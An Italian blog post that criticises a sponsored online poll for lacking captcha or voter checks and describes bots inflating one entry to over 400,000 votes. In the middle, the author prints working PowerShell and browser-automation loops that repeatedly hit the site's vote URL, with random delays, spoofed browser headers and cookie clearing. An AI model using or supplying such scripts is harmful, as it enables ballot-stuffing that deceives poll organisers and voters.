Una qualsiasi forma di votazione/sondaggio (anche online) dovrebbe garantire una certa serietà in chi la propone e portare quindi a risultati che mostrino dati reali.
Ma è proprio sempre così?
Diciamo non sempre, … per non dire quasi mai! 😦
Qualche settimana fa veniva pubblicizzato, anche attraverso i social, l’iniziativa pubblicitaria di una ditta che avrebbe restaurato gratuitamente l’opera d’arte più votata tra alcune elencate nel loro sito.
Vedendo che tra quelle c’era anche un’opera di Torino, la mia città, ovviamente l’ho votata … ma mi sono subito sorpreso del fatto che non fosse richiesto alcun dato del votante e non fosse neppure stato inserito, per impedire votazioni multiple da parte di un bot, nessun captcha (servizio gratuito che proteggono da spam e azioni malevoli, consentendo di determinare se una richiesta sia legata a un essere umano o da un bot -> per saperne di più). Insomma, si riusciva a votare nuovamente se se si utilizzava un browser differente o si cancellavano i cookies o anche se si navigava in incognito!!
Da tecnico mi è ovviamente venuta la curiosità di indagare maggiormente ed ho notato che i voti relativi all’opera di Bergamo, “la fontana del delfino“, crescevano di un ritmo impressionante e costante (più di 100 voti al secondo!!), ovvio indice della presenza di un meccanismo automatico di votazione da parte di un bot.
Dal momento che anche nei giorni successivi quel meccanismo di votazione fasulla risultava presente (il numero di votazioni per quell’opera ormai superava di più ordini di grandezza i voti di tutti gli altri concorrenti) e non si intravvedeva nessun segnale di intervento da parte dei gestori dell’iniziativa, era doveroso (ed assai agevole) intervenire!!! 😉
I metodi che si potevano utilizzare a questo punto erano molteplici, da semplici comandi tramite finestra di PowerShell, all’uso di sistemi di debug quali ad esempio Chromium Browser Automation o Postman (vedi anche 5 Useful Chrome Extensions for Automating Repetitive Browsing Tasks) … o, andando nel più professionale, l’usare uno dei molteplici sistemi pensati per effettuare test di carico, utilizzando risoorse on premises oppure ancor meglio on cloud (e.g. 7 Essential Cloud-based Load Testing Tools).
Le URL su cui effettuare la GET risultano ovviamente visibili da qualsiasi browser andando nella sua sezione per sviluppatori, dove è possibile visualizzare i messaggi che transitano in rete quando si effettua, ad esempio, una votazione o si richiede il punteggio corrente (e.g. in Chrome o in Edge: More tools -> Developer tools [IT: Altri strumenti -> Strumenti per sviluppatori]).
while(1) { curl "http://www.liberalarte.org/Vote/Save?id=9" }
O, sofisticandolo, introducendo un ritardo casuale tra ogni votazione (tecnica neppure adottata dai votanti fasulli):
PS C:\Users\conti > while(1) { >> curl "http://www.liberalarte.org/Vote/Save?id=9" >> $vNumber = Get-Random -Maximum 4 -Minimum 1 >> Start-Sleep $vNumber }
O ancora introducendo anche i parametri generalmente inseriti da un browser nell’header di una sua risposta:
while(1) { Invoke-WebRequest -Uri "http://www.liberalarte.org/scheda.html?9" -Headers @{"Upgrade-Insecure-Requests"="1"; "User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"; "Referer"="http://www.liberalarte.org/"} Invoke-WebRequest -Uri "http://www.liberalarte.org/Vote/Save?id=9" -Headers @{"Accept"="application/json, text/javascript, */*; q=0.01"; "Referer"="http://www.liberalarte.org/scheda.html?9"; "X-Requested-With"="XMLHttpRequest"; "User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36$(date)"} $vNumber = Get-Random -Maximum 4 -Minimum 1 Start-Sleep $vNumber }
Loop { //rimuove i cookie <$function=removeCookie> <$attr=.*> //va sulla pagina del voto http://www.liberalarte.org/ //Conferma che accetta di memorizzare il cookie del sito body.CookiePolicyBanner div.CookiePolicy div.CookieContainer div.Confirm A.AcceptPolicy.Btn //Redirige sulla medesima pagina che salva il cookie http://www.liberalarte.org/ //Va alla pagina relativa all'evento che si vuole votare http://www.liberalarte.org/scheda.html?9 //Click sul pulsante di voto http://www.liberalarte.org/Vote/Save?id=9 //Redirect sulla pagina della classifica http://www.liberalarte.org/classifica.html } //fine loop
Le mie sono state ovviamente solo prove tecniche di fattibilità e non hanno modificato sostanzialmente la situazione, già abbondantemente compromessa … come era d’altra parte prevedibile vista la mancanza di meccanismi di identificazione e protezione da votazioni fasulle.
Nonostante la crescita esponenziale delle votazioni effettuate dai bot, che avevano da tempo portato la percentuale dei voti quasi al 100% per due soli candidati, finalmente solo dopo diversi giorni qualcuno lato promotore del sondaggio si accorge di qualcosa! A qualsiasi persona, seppur priva di alcuna competenza tecnica, la situazione anomala sarebbe dovuta saltare agli occhi già da molto tempo …
La pagina per la votazione viene resa quindi inaccessibile per un po’, per poi ricomparire online con qualche minimo meccanismo di protezione, ma non tale da fermare la crescita continua e costante di alcune opere (sempre di qualche votazione al secondo!!) ed in particolare di quella che poi è risultata vincente!!
Ecco quindi i risultati finali di questo sondaggio-pagliacciata: nel giro delle poche settimane del concorso, sono andati al non meritato vincitore più di 400000 voti!! Niente male, tenendo conto che a Bergamo ci sono solo circa 122000 abitanti (probabilmente i più interessati all’opera di restauro)!!
😦
Termino chiedendomi:
ha senso proporre un sondaggio, seppur con fini pubblicitari e benefici, che non abbia alcuna protezione da inevitabili interferenze e quindi non sappia fornire un risultato reale o per lo meno realistico? Non penso comunque che quella ditta si sia fatta una buona pubblicità … dimostrando infatti poca professionalità e serietà!
In questo caso si è trattato di un restauro gratuito e qualsiasi fosse poi stato il vincitore poco importa per il recupero di opere d’arte nazionali … ma che dire di altri sondaggi in genere effettuati a scopi propagandistici e politici?
Come sempre le potenzialità di una tecnologia, in questo caso Internet, possono essere utilizzate senza competenze e/o impropriamente per raggiungere scopi che vanno al di là del fine per il quale è stata pensata dai suoi ideatori …